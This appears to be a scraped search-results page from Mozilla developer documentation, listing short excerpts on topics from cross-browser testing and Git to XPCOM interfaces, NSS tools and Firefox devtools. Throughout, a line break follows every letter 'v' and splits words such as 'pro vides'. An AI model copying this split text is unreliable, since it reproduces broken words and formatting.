view of the topic of cross browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" strategies for carrying out testing next, we drill down into carrying out testing, looking at identifying a target audience (e.g.
... what browsers, de
vices, and other segments should you make sure are tested), lo-fi testing strategies (get yourself a range of de
vices and some
virtual machines and do ad-hoc tests when needed), higher tech strategies (automation, using dedicated testing apps), and testing with user groups.
...And 5 more matches
Git and GitHub - Learn web development
all developers will use some kind of version control system (vcs), a tool to allow them to collaborate with other developers on a project without danger of them overwriting each other's work, and roll back to pre
vious versions of the code base if a problem is discovered later on.
... the most popular vcs (at least among web developers) is git, along with github, a site that pro
vides hosting for your repositories and several tools for working with them.
... over
view vcses are essential for software development: it is rare that you will work on a project completely on your own, and as soon as you start working with other people you start to run the risk of conflicting with each other's work — this is when both of you try to update the same piece of code at the same time.
...And 5 more matches
Tools and testing - Learn web development
on top of that, we still need to keep cross-browser support in the forefront of our minds, and make sure that our code follows best practices that allow our projects to work across different browsers and de
vices that our users are using to browse the web, and be usable by people with disabilities.
... in addition, you should start with the first module in this topic, which gives a useful over
view of the general area.
...we finish up by pro
viding a complete toolchain example showing you how to get productive.
...And 5 more matches
Accessibility/LiveRegionDevGuide
this guide was written from an atk/at-spi point of
view as part of the orca live region support project.
...the object changed events can be further subdi
vided into object addition and removal events.
... text changed the text changed events are quite similar in at-spi and iaccessible2 with both ha
ving an insert and delete or removal events.
...And 5 more matches
Embedding API for Accessibility
be aware that in debug builds, this can cause a great number of assertions (bug 71598) to use prefs in embedding, use something like the following code: #include "nsipref.h"; nsresult rv; nscomptr<nsipref> prefs(do_getser
vice(ns_pref_contractid, &rv)); prefs->setboolpref("bool.pref.name", pr_true /* or pr_false */); prefs->setintpref("int.pref.name", newvalue); prefs->setcharpref("string.pref.name", newcharstarvalue); to manually add a pref to your settings, add a line like the following to your prefs.js: user_pref("accessibility.browsewithcaret", true); accessibility prefs reference the following is a des...
...cription of what accessibility prefs give us (or will give us), for accessibility: functionality implementation works as of images setintpref("network.image.imagebeha
vior", beha
vior); /* beha
vior: 0=accept, 1=accept images from originating server only, 2=no images */ moz 0.8 cookies setintpref("network.cookie.cookiebeha
vior", beha
vior); /* beha
vior: 0=accept, 1=accept cookies from originating server only, 2=no cookies */ setboolpref("network.cookie.warnaboutcookies", boolwarn); moz 0.8 fonts ...
... setboolpref("browser.display.use_document_colors", booluseauthorcolors); /* setting use_document_colors also stops background images from loading */ moz 0.8 link appearance setcharpref("browser.anchor_color", "#abcdef" /* hex color value */); setcharpref("browser.
visited_color", "#abcdef" /* hex color value */); setboolpref("browser.underline_anchors", boolunderlinelinks); moz 0.8 focus appearance setboolpref("browser.display.use_focus_colors", usefocuscolors); setcharpref("browser.display.focus_background_color", colorstring); ...
...And 5 more matches
Accessibility and Mozilla
these articles pro
vide mozilla-specific details about accessibility.
...in recent articles from both afb's access world and nfb's voice of the nation's blind, re
viewers found no significant roadblocks in mo
ving to firefox from internet explorer for screen reader users.
... in fact, the same keyboard commands are still available, so users can become comfortable and productive right away.accessibility information for core gecko developersboth end users and developers are in
vited for discussion on the live irc channel at irc.mozilla.org/#accessibility.
...And 5 more matches
Theme concepts
for more information on self-distribution,
visit signing and distributing your add-on.
...additionally, firefox color can be used to pre
view customizations to the browser's theme with options to share and export a theme.
... ob
viously, you can still pro
vide a single wide image if you prefer.
...And 5 more matches
Adding a new event
this is useful for widget notifying dom tree of something or retrie
ving something from dom tree.
... mouseevents.h this header file should be used for defining input events from pointing de
vices such as mouse.
... touchevents.h this header file should be used for defining input events from touch de
vices.
...And 5 more matches
Continuous Integration
there is a group of indi
viduals who are constantly monitoring treeherder, looking for broken builds and/or tests.
... these indi
viduals are known as sheriffs.
... clobber builds mean the directory hierarchy, including the local source and object directory are deleted if it exists from a pre
vious build.
...And 5 more matches
Debugging on Mac OS X
try server builds in most cases, developers needing to debug a build as close as possible to the production en
vironment should use a try build.
...see "ha
ving a profile for debugging purposes" below.
...add "-p profilename", where profilename is the name of a profile you created pre
viously.
...And 5 more matches
Developer guide
there are lots of ways to contribute to the mozilla project: coding, testing, impro
ving the build process and tools, or contributing to the documentation.
... this guide pro
vides information that will not only help you get started as a mozilla contributor, but that you'll find useful to refer to even if you are already an experienced contributor.
... working with mozilla source code a code over
view, how to get the code, and the coding style guide.
...And 5 more matches
mozbrowsercontextmenu
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... details the details property returns an anonymous javascript object with the following properties: clientx the x value of the coordinate that was clicked inside the browser <iframe>'s
viewport.
... clienty the y value of the coordinate that was clicked inside the browser <iframe>'s
viewport.
...And 5 more matches
Addon
over
view of required methods void iscompatiblewith(in string appversion, in string platformversion) void findupdates(in updatelistener listener, in integer reason, in string appversion, in string platformversion) over
view of optional methods void uninstall() void canceluninstall() boolean hasresource(in string path) nsiuri getresourceuri(in ...
... blockliststate read only integer the current blocklist state of this add-on; see nsiblocklistser
vice for possible values.
... pro
videsupdatessecurely read only boolean true if the add-on has a secure means of updating or cannot be updated at all.
...And 5 more matches
Log.jsm
until stabilized, expect frequent updates, including different interfaces and beha
vior in different versions of the platform.
... the log.jsm javascript code module (formerly named log4moz.js) pro
vides a log4j style api for logging log messages to various endpoints, such as the browser console or a file on disk.
...expect these to be immediately
visible on a status console.
...And 5 more matches
Sqlite.jsm
the complexities of xpcom are mostly hidden from
view.
...please note that this is not a timer on the idle ser
vice and this could fire while the application is active.
... if the original connection is using the shared cache, this parameter will be ignored and the clone will be as pri
vileged as the original connection.
...And 5 more matches
Localizing without a specialized tool
before we start, did you make sure to install mercurial and confirm that you have set up the proper build en
vironment on your local machine?
...$ compare-locales mozilla-1.9.2/browser/locales/l10n.ini l10n-mozilla-1.9.2 x-testing for convenience, try sa
ving the output of this command to a text file on your desktop so you can re
view it as you go.
...localizing step-by-step dtd files in order to pro
vide an example that can be
viewed quickly in your ui, we'll start by translating a dtd file named searchbar.dtd that contains the string "manage search engines...".
...And 5 more matches
Creating localizable web applications
by adding locale dropdown menu at bottom of page) and remember this choice for the future
visits.
... use the locale code in the urls depending on how you detect user's locale, you may want to pro
vide a way of overriding the autodetection.
...for example, if not all the pages of your website are going to be localized, you may consider remo
ving links to the english-only pages from the na
vigation (headers, footers, sidebars) in the localized versions.
...And 5 more matches
Mozilla Framework Based on Templates (MFBT)
this header also pro
vides a useful "hook" for embeddings that must customize the types underlying the fixed-size integer types.) types.h includes standardinteger.h and further pro
vides size_t.
...they behave like integers, but safely check for integer overflow and di
vide-by-zero.
... floatingpoint.h pro
vides various operations for examining and working upon double-precision floating point values, and for producing various special floating point values.
...And 5 more matches
powermetrics
powermetrics is a mac-only command-line utility that pro
vides many high-quality power-related measurements.
... it is most useful for getting cpu, gpu and wakeup measurements in a precise and easily scriptable fashion (unlike acti
vity monitor and top) especially in combination with rapl
via the mach power command.
... note: the power profiling over
view is worth reading at this point if you haven't already.
...And 5 more matches
Research and prep
we believe that localization teams are in the best position to pro
vide recommendations on what local pro
viders we can use for web ser
vices because you're in the market, work in the language, and know your users.
... it is your l10n team's responsibility to perform research and identify the most appropriate web ser
vices for your region and present them in your bug as your informed recommendations.
... if there's no existing collaboration with the site pro
vider and mozilla, ask for permission from the site pro
vider to include it.
...And 5 more matches
NSPR Contributor Guide
some of these reasons are not ob
vious to an outside observer.
...this means that the beha
vior of an existing public api item in nspr cannot change.
... should you need to have a similar api, with some slightly different beha
vior or different function prototype, then suggest a new api with a different name.
...And 5 more matches
4.3.1 Release Notes
release date: 2009-12-02 introduction network security ser
vices for java (jss) 4.3.1 is a minor release with the following new features: support for ssl3 & tls renegotiation vulnerablity support to explicitly set the key usage for the generated private key jss 4.3.1 is tri-licensed under mpl 1.1/gpl 2.0/lgpl 2.1.
...if an application depends on renegotiation feature, it can be enabled by setting the en
vironment variable nss_ssl_enable_renegotiation to 1.
... by setting this en
vironmental variable, the fix pro
vided by these patches will have no effect and the application may become vulnerable to the issue.
...And 5 more matches
JSS
jss source should now be checked out from the github: git clone git@github.com:dogtagpki/jss.git -- or -- git clone https://github.com/dogtagpki/jss.git all future upstream enquiries to jss should now use the pagure issue tracker system: https://pagure.io/jss/issues documentation regarding the jss project should now be
viewed at: http://www.dogtagpki.org/wiki/jss note: as much of the jss documentation is sorely out-of-date, updated information will be a work in progress, and many portions of any legacy documentation will be re-written over the course of time.
... legacy jss information can still be found at: source: https://hg.mozilla.org/projects/jss issues: https://bugzilla.mozilla.org/buglist.cgi?product=jss wiki: /docs/mozilla/projects/nss/jss network security ser
vices for java (jss) is a java interface to nss.
...jss also pro
vides a pure java interface for asn.1 types and ber/der encoding.
...And 5 more matches
Notes on TLS - SSL 3.0 Intolerant Servers
technical information the ssl 3.0 and tls (aka ssl 3.1) specs both contain a pro
vision -- the same pro
vision -- for detecting "version rollback attacks".
...normally the servers which have this problem are not equipped to deal with the tls protocol, but instead of rolling back to ssl 3.0 as the rollback pro
vision pro
vides, they terminate/drop the connection, thus resulting in most cases a blank page display.
... servers currently known to exhibit this intolerant beha
vior as of this writing, this problem has been reported for the following servers: (wherever there is an upgraded version which fixes the problem, it is indicated by an asterisked remark in the parentheses.
...And 5 more matches
NSS tools : pk12util
this option is pro
vided as a special case.
... parameters: salt: 45:2e:6a:a0:03:4d:7b:a1:63:3c:15:ea:67:37:62:1f iteration count: 1 (0x1) certificate: data: version: 3 (0x2) serial number: 13 (0xd) signature algorithm: pkcs #1 sha-1 with rsa encryption issuer: "e=personal-freemail@thawte.com,cn=thawte personal freemail c a,ou=certification ser
vices di
vision,o=thawte consulting,l=cape t own,st=western cape,c=za" ....
...id password encryption pkcs#12 pro
vides for not only the protection of the private keys but also the certificate and meta-data associated with the keys.
...And 5 more matches
Multithreading in Necko
this thread is controlled by the nssockettransportser
vice.
...when a socket can be read, the socket's listener is notified either synchronously (on the same thread) or asynchronously
via a nsistreamlistenerproxy impl.
... file transport threads (1-4) file i/o is processed
via a thread pool that has between 1 and 4 threads.
...And 5 more matches
Proxies in Necko
this means that callers can just create an nsichannel, not needing to worry about whether the channel will use a proxy or not the basic interfaces for proxies are: nsiproxyinfo, nsiprotocolproxyser
vice, and nsiproxiedprotocolhandler nsiproxyinfo is a simple helper which stores information about the type of the proxy, its host and its port.
... nsiioser
vice the decision whether to use a proxy is made in nsioser
vice::newchannelfromuri.
... it first asks the nsiprotocolproxyser
vice for an nsiproxyinfo.
...And 5 more matches
Rhino Debugger
note that this debugger will not work with javascript scripts run in the mozilla browser since rhino is not the engine used in such en
vironments.
... the rhino javascript debugger can debug scripts running in multiple threads and pro
vides facilities to set and clear breakpoints, control execution,
view variables, and evaluate arbitrary javascript code in the current scope of an executing script.
... console window the debugger redirects the system.out, system.in, and system.err streams to an internal javascript console window which pro
vides an editable command line for you to enter javascript code and
view system output.
...And 5 more matches
Creating JavaScript tests
jstests is intended for tests of language-
visible functionality.
... read more ad
vice on jstests here.
... if you are writing a jstests, additional testing functionality is pro
vided for you in shell.js files.
...And 5 more matches
Self-hosted builtins in SpiderMonkey
this restriction was added because otherwise it's extremely easy to accidentally call methods that have been changed by content, changing the beha
vior from what was expected.
... if the fun can potentially be a content-pro
vided function, callcontentfunction has to be used.
... this is to prevent accidentally calling content functions when assuming that content can't interfere with beha
vior.
...And 5 more matches
JIT Optimization Strategies
pro
vide a repository of jit optimization strategy information which the jit coach tool can parse to display in its ui.
...pro
vide a user-browsable documentation of optimization strategies, how they work, how they are defeated, and options for how to re-enable them.
...it pro
vides information on what they attempt to do, what general level of speed-up they pro
vide, what kind of program characteristics can prevent them from being used, and common ways to enable the engine to utilize that optimization.
...And 5 more matches
JSAPI reference
eptions: js::createerror added in spidermonkey 38 js_isexceptionpending js_getpendingexception js_setpendingexception js_clearpendingexception js_throwstopiteration added in spidermonkey 1.8 js_isstopiteration added in spidermonkey 31 typedef jsexceptionstate js_saveexceptionstate js_restoreexceptionstate js_dropexceptionstate these functions translate errors into exceptions and
vice versa: js_reportpendingexception js_errorfromexception js_throwreportederror obsolete since jsapi 29 values and types typedef jsval js::value js::value constructors: js::nullvalue added in spidermonkey 24 js::undefinedvalue added in spidermonkey 24 js::booleanvalue added in spidermonkey 24 js::truevalue added in spidermonkey 24 js::falsevalue added in spidermonkey 24 j...
...these functions pro
vide access to the garbage collector: js_gc js_maybegc js_getgcparameter js_setgcparameter js_getgcparameterforthread added in spidermonkey 17 js_setgcparameterforthread added in spidermonkey 17 js_setgcparametersbasedonavailablememory added in spidermonkey 31 enum jsgcparamkey js_setgccallback enum jsgcstatus js_addfinalizecallback added in spidermonkey 38 enu...
...gn js_internjsstring added in spidermonkey 1.8.5 js_stringhasbeeninterned added in spidermonkey 17 js_getlatin1internedstringchars added in spidermonkey 38 js_gettwobyteinternedstringchars added in spidermonkey 38 js_getinternedstringchars obsolete since jsapi 33 js_getinternedstringcharsandlength obsolete since jsapi 33 the character data for external strings is stored in memory pro
vided by the application.
...And 5 more matches
Parser API
note: this page describes spidermonkey-specific beha
vior and might be incomplete.
...
visit estree spec for a community ast standard that includes latest ecmascript features and is backward-compatible with spidermonkey format.
... example: > var expr = reflect.parse("obj.foo + 42").body[0].expression > expr.left.property ({loc:null, type:"identifier", name:"foo"}) > expr.right ({loc:{source:null, start:{line:1, column:10}, end:{line:1, column:12}}, type:"literal", value:42}) it is also available since firefox 7; it can be imported into the global object
via: components.utils.import("resource://gre/modules/reflect.jsm") or into a specified object
via: components.utils.import("resource://gre/modules/reflect.jsm", obj) built-in objects whether in spidermonkey shell or firefox (after importing), the global singleton object reflect currently contains just the parse method.
...And 5 more matches
Animated PNG graphics
authors the apng specification was authored by: stuart parmenter <pavlov@pavlov.net> vladimir vukice
vic <vladimir@pobox.com> andrew smith <asmith15@littlesvr.ca> over
view apng is an extension of the portable network graphics (png) format, adding support for animated images.
...apng is a simpler alternative to mng, pro
viding a spec suitable for the most common usage of animated images on the internet.
... the canvas is the area on the output de
vice on which the frames are to be displayed.
...And 5 more matches
Gecko object attributes
this is useful for retrie
ving microformat semantics for an element.
... applied to: any
visible accessible id any value, defined by ui/content developers.
...this may pro
vide more information than the mapped role, which is best-fit.
...And 5 more matches
AT APIs Support
we pro
vide for them the support of these products on windows, linux/unix and os x platforms.
... k-meleon - light, ultra-fast and more advanced (fully configurable) gecko-based web browser available on the windows platform on linux/unix platform yelp help
viewer - the help
viewer in gnome evolution email - pro
vides integrated mail, addressbook and calendaring functionality to users of the gnome desktop.
...widgets such as menus, tab panels, tree
views and dialogs are pro
vided
via an xml language called xul (extensible user-interface language).
...And 5 more matches
Components.classes
each object represents one of the classes of xpcom components that can be constructed or accessed as an xpcom ser
vice.
... note that components.classes reflects only those component classes that have been pre
viously installed and registered with the component manager using contractids.
... usage in order to retrieve the object for a given contractid, you can query the components.classes array as follows: var clazz0 = components.classes["@mozilla.org/messenger;1"]; clazz0 is the class object for the contractid @mozilla.org/messenger;1, which is not usually used by itself, but whose createinstance and getser
vice methods can be used to create a new instance of the component or to access the singleton instance, if the contract id represents a ser
vice.
...And 5 more matches
Components.utils.unwaiveXrays
undo a pre
vious call to components.utils.waivexrays(), restoring xray
vision for the caller.
... for example, if pri
vileged code accesses a dom object belonging to web content, it will by default see it using xray
vision, meaning that among other things expando properties added to the object by content are not
visible.
... pri
vileged code can waive xray
vision using waivexrays, and it will then see expandos.
...And 5 more matches
nsICachingChannel
inherits from: nsicacheinfochannel last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface pro
vides: support for "stream as file" semantics (for jar and plugins).
... a channel may optionally implement this interface to allow clients to affect its beha
vior with respect to how it uses the cache ser
vice.
... method over
view boolean isfromcache(); obsolete since gecko 2.0 attributes attribute type description cacheasfile boolean specifies whether or not the data should be cached to a file.
...And 5 more matches
nsICategoryManager
xpcom/components/nsicategorymanager.idlscriptable this interface pro
vides access to a data structure that holds a list of name-value pairs, called categories, where each value is a list of strings.
...to use this ser
vice, use: var categorymanager = components.classes["@mozilla.org/categorymanager;1"] .getser
vice(components.interfaces.nsicategorymanager); method over
view string addcategoryentry(in string acategory, in string aentry, in string avalue, in boolean apersist, in boolean areplace); void deletecategory(in string acategory); void deletecategoryentry(in string acategory, in string aentry, in boolean apersist); nsisimpleenumerator enumeratecategories(); nsisimpleenumerator enumeratecategory(in string acategory); string getcategoryentry(in string acategor...
... return value the pre
vious value for the given category entry (if any).
...And 5 more matches
nsIClassInfo
xpcom/components/nsiclassinfo.idlscriptable pro
vides information about a specific implementation class.
... inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view nsisupports gethelperforlanguage(in pruint32 language); void getinterfaces(out pruint32 count, [array, size_is(count), retval] out nsiidptr array); attributes attribute type description classdescription string a human readable string naming the class, or null.
...if the flags attribute has the singleton bit set, then the value of this attribute specifies a classid through which this class can be accessed as a ser
vice using nsiser
vicemanager.getser
vice().
...And 5 more matches
nsIDownloadManager
toolkit/components/downloads/public/nsidownloadmanager.idlscriptable this interface lets applications and extensions communicate with the download manager, adding and remo
ving files to be downloaded, fetching information about downloads, and being notified when downloads are completed.
...to get the ser
vice, use: var downloadmanager = components.classes["@mozilla.org/download-manager;1"] .getser
vice(components.interfaces.nsidownloadmanager); method over
view nsidownload adddownload(in short adownloadtype, in nsiuri asource, in nsiuri atarget, in astring adisplayname, in nsimimeinfo amimeinfo, in prtime astarttime, in nsilocalfile atempfile, in nsicancelable acancelable, in boolean aisprivate); void addlistener(in nsidownloadprogresslistener alistener); void canceldownload(in unsigned long aid); void cleanup(); void endbatchupdate(); obsolete since gec...
... download_blocked_parental 6 the download has been blocked, either by parental controls or the
virus scanner determining that a file is infected and cannot be cleaned.
...And 5 more matches
nsIHttpChannelInternal
66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method over
view void getrequestversion(out unsigned long major, out unsigned long minor); void getresponseversion(out unsigned long major, out unsigned long minor); void httpupgrade(in acstring aprotocolname, in nsihttpupgradelistener alistener); void setcookie(in string acookieheader); void setupfallbackchannel(in string afallbackkey); attributes attribute type description canceled boolean returns true if and only if...
...this may throw an ns_error_not_available exception if accessed when the channel's endpoints haven't been determined yet, or any time the nsihttpacti
vityobserver.isactive attribute is false.
...this may throw an ns_error_not_available exception if accessed when the channel's endpoints haven't been determined yet, or any time the nsihttpacti
vityobserver.isactive attribute is false.
...And 5 more matches
nsIHttpServer
an example : https://github.com/laurentj/slimerjs/blob/master/src/modules/webserver.jsm var exported_symbols = ["create"]; components.utils.import("resource://gre/modules/ser
vices.jsm"); function create() { var server = components.classes["@mozilla.org/server/jshttp;1"] .createinstance(components.interfaces.nsihttpserver); return { get objectname () { return "webserver"; }, /** * @param integer|string port port or "host:port" * @param object opt optional options.
...ram port * the port upon which listening should happen, or -1 if no specific port is * desired * @throws ns_error_already_initialized * if this server is already started * @throws ns_error_not_available * if the server is not started and cannot be started on the desired port * (perhaps because the port is already in use or because the process does * not have pri
vileges to do so) * @note * beha
vior is undefined if this method is called after stop() has been * called on this but before the pro
vided callback function has been * called.
... */ void start(in long port); /** * shuts down this server if it is running (including the period of time after * stop() has been called but before the pro
vided callback has been called).
...And 5 more matches
nsIJetpack
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void sendmessage(in astring amessagename /* [optional] in jsval v1, [optional] in jsval v2, ...
...if the message was sent synchronously from the jetpack process
via callmessage(), then the return value of this function is passed back to the jetpack process.
... unregisterreceiver() this unregisters a callback pre
viously registered with registerreceiver() void unregisterreceiver( in astring amessagename, in jsval areceiver ); parameters amessagename the name of the message on which the callback should no longer be triggered.
...And 5 more matches
nsIMemoryReporterManager
xpcom/base/nsimemoryreporter.idlscriptable a ser
vice that pro
vides methods for managing nsimemoryreporter objects.
... inherits from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by @mozilla.org/memory-reporter-manager;1 as a ser
vice: var reportermanager = components.classes["@mozilla.org/memory-reporter-manager;1"] .getser
vice(components.interfaces.nsimemoryreportermanager); each memory reporter object, which implements nsimemoryreporter interface, pro
vides information for a given code area.
...method over
view nsisimpleenumerator enumeratemultireporters(); nsisimpleenumerator enumeratereporters(); void init(); void registermultireporter(in nsimemorymultireporter reporter); void registerreporter(in nsimemoryreporter reporter); void unregistermultireporter(in nsimemorymultireporter reporter); void unregisterreporter(in nsimemoryreporter reporter); attributes attribute type description explicit print64 gets the total size of explicit memory allocations, both at the operating system level (for example,
via mmap,...
...And 5 more matches
nsINavHistoryContainerResultNode
toolkit/components/places/public/nsinavhistoryser
vice.idlscriptable a foundation for the interfaces that pro
vide a description of a query result on the places ser
vice that describes a container (which is any kind of grouping, including bookmark folders).
... 1.0 66 introduced gecko 1.9 inherits from: nsinavhistoryresultnode last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view nsinavhistoryresultnode findnodebydetails(in autf8string auristring, in prtime atime, in long long aitemid, in boolean arecursive); nsinavhistoryresultnode getchild(in unsigned long aindex); unsigned long getchildindex(in nsinavhistoryresultnode anode); attributes attribute type description childcount unsigned long the number of child nodes; accessing this throws an ns_error_not_available exception of containeropen is false.
... childrenreadonly boolean false if the node's list of children can be modified (by adding or remo
ving children, or rearranging them), or true if the user interface should not allow the list of children to be altered.
...And 5 more matches
nsINavHistoryResultObserver
toolkit/components/places/nsinavhistoryser
vice.idlscriptable lets clients observe changes to a result as the result updates itself according to bookmark and history system events.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) note: in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1), this interface replaced the older nsinavhistoryresult
viewer interface, which only allowed one client at a time.
... method over
view void batching(in boolean atogglemode); void containerclosed(in nsinavhistorycontainerresultnode acontainernode); deprecated since gecko 2.0 obsolete since gecko 11.0 void containeropened(in nsinavhistorycontainerresultnode acontainernode); deprecated since gecko 2.0 obsolete since gecko 11.0 void containerstatechanged(in nsinavhistorycontainerresultnode acontainernode, in unsigned long aoldstate, in unsigned long anewstate); void invalidatecontainer(in nsinavhistorycontainerresultnode acontainernode); void nodeannotationchanged(in nsinavhistoryresultnode anode, in autf8string aannoname); void nodedateaddedchanged(in nsinavhistoryresultnode anode, in prtime anewvalue); void nodehistorydetailschanged(in nsinavhistoryresultnode anode, in prtime anew
visitdate, i...
...And 5 more matches
nsIProtocolHandler
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view boolean allowport(in long port, in string scheme); nsichannel newchannel(in nsiuri auri); nsiuri newuri(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); attributes attribute type description defaultport long the default port is the port the protocol uses by default.
...typically, this flag is used by protocols that show highly untrusted content in a
viewing area that the user expects to have a lot of control over, such as an email reader.
... uri_dangerous_to_load 1<<7 uris using this protocol are unsafe if loaded by untrusted web content and may only be loaded by pri
vileged code (for example, code that has the system principal).
...And 5 more matches
nsIScrollable
inherits from: nsiscrollable last changed in gecko 29.0 (firefox 29.0 / thunderbird 29.0 / seamonkey 2.26) method over
view long getcurscrollpos(in long scrollorientation); obsolete since gecko 29.0 long getdefaultscrollbarpreferences(in long scrollorientation); void getscrollbar
visibility(out boolean vertical
visible, out boolean horizontal
visible); void getscrollrange(in long scrollorientation, out long minpos, out long maxpos); obsolete since gecko 29.0 void setcurscrollpos(in long scrollorientation, in long curpos); obsolete since ...
... scrollbar states
visibility states of a scrollbar.
... constant value description scrollbar_auto 1 scrollbars
visible only when needed.
...And 5 more matches
nsITraceableChannel
see modify url before loading page in firefox for an over
view of how to modify a request before it is made.
... method over
view nsistreamlistener setnewlistener(in nsistreamlistener alistener); methods setnewlistener() replaces the channel's current listener with a new one, returning the listener pre
viously assigned to the channel.
... return value the pre
vious listener for the channel.
...And 5 more matches
nsIUpdate
toolkit/mozapps/update/nsiupdateser
vice.idlscriptable an interface that describes an object representing an available update to the current application - this update may have several available patches from which one must be selected to download and install, for example we might select a binary difference patch first and attempt to apply that, then if the application process fails fall back to downloading a complete file-replace patch.
... this object also contains information about the update that the front end and other application ser
vices can use to learn more about what is going on.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view nsiupdatepatch getpatchat(in unsigned long index); nsidomelement serialize(in nsidomdocument updates); attributes attribute type description appversion astring the application version of this update.
...And 5 more matches
nsIWindowWatcher
method over
view nsiwebbrowserchrome getchromeforwindow(in nsidomwindow awindow); nsiauthprompt getnewauthprompter(in nsidomwindow aparent); nsiprompt getnewprompter(in nsidomwindow aparent); nsidomwindow getwindowbyname(in wstring atargetname, in nsidomwindow acurrentwindow); nsisimpleenumerator getwindowenumerator(); nsidomwindow openwindow(in nsidomwindo...
...since dom windows lack a (public) means of retrie
ving their corresponding chrome, this method will do that.
... getwindowenumerator() get an nsisimpleenumerator for currently open windows in the order they were opened, guaranteeing that each will be
visited exactly once.
...And 5 more matches
nsIXULTemplateBuilder
templates may generate content recursively, using the same template, but with the pre
vious iteration's results as the reference point.
...each of these declared bindings must be supplied to the query processor
via its addbinding() method.
...templates may generate content recursively, using the pre
vious iteration's results as reference point to invoke the same queries.
...And 5 more matches
nsIZipReader
modules/libjar/nsizipreader.idlscriptable this interface pro
vides methods for reading compressed (zip) files.
... method over
view void close(); void extract(in autf8string zipentry, in nsifile outfile); void extract(in string zipentry, in nsifile outfile); obsolete since gecko 10 nsiutf8stringenumerator findentries(in autf8string apattern); nsiutf8stringenumerator findentries(in string apattern); obsolete since gecko 10 nsiprincipal getcertificateprincipal(in autf8string aen...
...subsequent attempts to access a nsizipentry obtained from this zip reader will cause unspecified beha
vior.
...And 5 more matches
Mozilla technologies
apng is a simpler alternative to mng, pro
viding a spec suitable for the most common usage of animated images on the internet.docshelldocshell is the second iteration of what originally started out as webshell.
...l.embedded dialog apifeed content access apifirefox 2 and thunderbird 2 introduce a series of interfaces that make it easy for extension authors to access rss and atom feeds.life after xul: building firefox interfaces with htmlthis page gathers technical solutions to common problems encountered by teams shipping html-based interfaces inside firefox.morkmork is a database file format invented by da
vid mccusker for the mozilla code since the original netscape database information was proprietary and could not be released open source.
...it also includes new features including fa
vicon storage and the ability to annotate pages with arbitrary information.
...And 5 more matches
Mail event system
nsifolders each store indi
vidual lists of folder listeners which are maintained with addlistener() and removelistener().
... nsimsgmailsession.idl is a ser
vice that acts as a broadcaster for folder notifications.
...in its implementation of onintpropertychanged, it notifies rdf (
via the nsirdfobserver system) that the message count has changed.
...And 5 more matches
Thunderbird Configuration Files
on windows
vista/xp/2000, the path is usually %appdata%\thunderbird\profiles\xxxxxxxx.default\, where xxxxxxxx is a random string of 8 characters.
... just browse to c:\documents and settings\[user name]\application data\thunderbird\profiles\ on windows xp/2000 or c:\users\[user name]\appdata\roaming\thunderbird\profiles\ on windows
vista, and the rest should be ob
vious.
... on windows 95/98/me, the path is usually c:\windows\application data\thunderbird\profiles\xxxxxxxx.default\ on linux, the path is usually ~/.thunderbird/xxxxxxxx.default/ on mac os x, the path is usually ~/library/thunderbird/profiles/xxxxxxxx.default/ %appdata% is a shorthand for the application data path on windows 2000/xp/
vista.
...And 5 more matches
Initialization and Destruction - Plugins
« pre
viousnext » this chapter describes the methods that pro
vide the basic processes of initialization, instance creation and destruction, and shutdown.
... the function tables also contain version information that the plug-in checks to verify that it is compatible with the api capabilities pro
vided by the application.
...you can assign more than one mime type to a plug-in, which could potentially allow the plug-in to respond to data streams of different types with different interfaces and beha
vior.
...And 5 more matches
Version, UI, and Status Information - Plugins
« pre
viousnext » this chapter describes the functions that allow a plug-in to display a message on the status line, get agent information, and check on the current version of the plug-in api and the browser.
...to do so, it must find the major and minor version numbers, which are determined when the plug-in and na
vigator are compiled, and compare them.
...if an essential feature is unavailable, the developer must arrange for alternative beha
vior, shut down the plug-in, or give the user a chance to decide what to do.
...And 5 more matches
Debugger.Script - Firefox Developer Tools
the debugger interface constructs debugger.script objects as scripts of debuggee code are uncovered by the debugger:
via the onnewscript handler method;
via debugger.frame’s script properties;
via the functionscript method of debugger.object instances; and so on.
... note that spidermonkey may use the same debugger.script instances for equivalent functions or evaluated code—that is, scripts representing the same source code, at the same position in the same source file, evaluated in the same lexical en
vironment.
... currently only entire modules evaluated
via new webassembly.module are represented.
...And 5 more matches
Deprecated tools - Firefox Developer Tools
when we deprecate a panel, we begin by getting feedback from the community to determine the impact of remo
ving that panel.
... once we have decided to remove the panel, we will pro
vide a warning message, and finally, we will remove the panel from the codebase.
... description scratchpad pro
vided an en
vironment for experimenting with javascript code.
...And 5 more matches
All keyboard shortcuts - Firefox Developer Tools
in the editor preferences section of the developer tools settings, you can choose to use
vim, emacs, or sublime text key bindings instead.
... to select these,
visit about:config, select the setting devtools.editor.keymap, and assign "
vim" or "emacs", or "sublime" to that setting.
...command windows macos linux delete the selected node delete delete delete undo delete of a node ctrl + z cmd + z ctrl + z redo delete of a node ctrl + shift + z / ctrl + y cmd + shift + z / cmd + y ctrl + shift + z / ctrl + y move to next node (expanded nodes only) down arrow down arrow down arrow move to pre
vious node up arrow up arrow up arrow move to first node in the tree.
...And 5 more matches
CSS Flexbox Inspector: Examine Flexbox layouts - Firefox Developer Tools
discovering flex containers when an html element on your page has display: flex applied to it, a number of features are made available in the devtools to pro
vide easy access to flexbox layout features.
... in the html pane in the html pane, an element laid out with flexbox has the word flex next to it as shown in the following image: click the word flex in the html pane to keep the overlay
visible when you move the mouse away from the container.
